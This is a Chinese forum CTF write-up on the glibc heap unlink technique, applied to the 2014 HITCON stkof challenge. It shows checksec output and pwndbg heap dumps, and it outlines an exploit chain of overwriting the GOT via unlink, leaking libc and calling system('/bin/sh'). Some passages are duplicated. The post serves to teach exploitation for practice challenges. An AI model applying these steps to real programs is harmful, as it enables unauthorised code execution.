昨天接触到了一个新的堆溢出技巧——unlink。
unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用
malloc
从恰好大小合适的 large bin 中获取 chunk。
这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。
依次遍历处理 unsorted bin 时也没有使用 unlink 的。
从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
Free
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
malloc_consolidate
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
realloc
前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。
unlink的原理介绍网上很多资料介绍的都很详细了,这里推荐一个
unlink,我下面分析的题目也都是这个链接所提供的题目。前辈的文章已经非常详尽了,我前人的肩膀上做一个补充。
这里再简单的介绍一下unlink。
unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用
malloc
从恰好大小合适的 large bin 中获取 chunk。
这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。
依次遍历处理 unsorted bin 时也没有使用 unlink 的。
从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
Free
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
malloc_consolidate
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
realloc
前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。
关于unlink的漏洞利用效果最终是指向前方三个内存单元处,我觉得这里需要注意的是,也是让我混乱过的是,到底指向谁的前方三个内存单元处?这个需要好好思考一下,有一些绕。
我们来观察一下这个语句(非正常情况的前提下),BK->fd = FD ,即将FD指向的内容存储到BK->fd地址当中去(表达可能并不是十分准确)。
2014 HITCON stkof
-virtual-machine:~/Desktop/CTF/summer/unlink/2014_hitcon_stkof$ checksec stkof
[*] '/home/wby/Desktop/CTF/summer/unlink/2014_hitcon_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
-virtual-machine:~/Desktop/CTF/summer/unlink/2014_hitcon_stkof$ checksec stkof
[*] '/home/wby/Desktop/CTF/summer/unlink/2014_hitcon_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
基本功能:
1.申请内存
2.释放内存
3.向内存中写入数据(存在堆溢出)
其他信息:
通过分析申请内存的函数可知,申请到的内存块都被管理在一个全局变量当中。分析如下图可得上面结果:
还有一个有意思的情况是,这道题目的源代码开始部分没有setbuf()/setvbuf()函数,又涨了一个新姿势。以前看到的题目都有这个函数也没有思考过这个函数的作用,前辈的文章指出,再参考一些资料。大多数题目的setbuf()/setvbuf()函数的作用是用来关闭I/O缓冲区,本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域。 和题目本身没有太大的影响,介绍一下这个有意思的现象。
基本情况介绍完毕,下面我们开始介绍如何利用:
首先讲一下利用思路,为了获得shell权限,我们可以运行system("/bin/sh"),也可以one_gadget,怎么获得运行system函数呢?本文有free/malloc函数的运用,既可以将__malloc_hook()/__free/hook()指向system,还可以赋写GOT表,将system覆盖到free/malloc的GOT表中。怎么完成写入操作呢?我们可以利用unlink来进行写入操作。
1.利用unlink修改修改GOT表。
2.泄露libc基址。
3.将free_got改成system_addr.
4.free一个内存块,其中的内容是"/bin/sh"。
首先malloc四块内存,每块都有相应的用处。
new(0x20)
new(0x30)
new(0x80)
#最后free的chunk必须不是fastbin
new(0x20)
查看一下现在的内存信息:
pwndbg> heap
0x18df000 PREV_INUSE { 这一个是fgets申请的输入缓冲
prev_size = 0x0,
size = 0x1011,
fd = 0xa0a32330a31,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0010 FASTBIN { new 1
prev_size = 0x0,
size = 0x31,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0040 PREV_INUSE { printf申请的输出缓冲
prev_size = 0x0,
size = 0x411,
fd = 0xa4b4f,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0450 FASTBIN { new 2
prev_size = 0x0,
size = 0x41,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0490 PREV_INUSE { new 3 必须不在fastbin范围中,不然free操作时不会向前合并空闲内存
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0520 FASTBIN { new 4 最后用来防止"/bin/sh\00"字符串
prev_size = 0x0,
size = 0x31,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0550 PREV_INUSE {
prev_size = 0x0,
size = 0x20ab1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
查看一下存储申请的全局变量,那我们给他一个名字global:
pwndbg> x/6xg 0x602140
0x602140: 0x0000000000000000 0x00000000018e0020
0x602150: 0x00000000018e0460 0x00000000018e04a0
0x602160: 0x00000000018e0530 0x0000000000000000
new(0x20)
new(0x30)
new(0x80)
#最后free的chunk必须不是fastbin
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-11-3 08:55
被Seclusion编辑
,原因: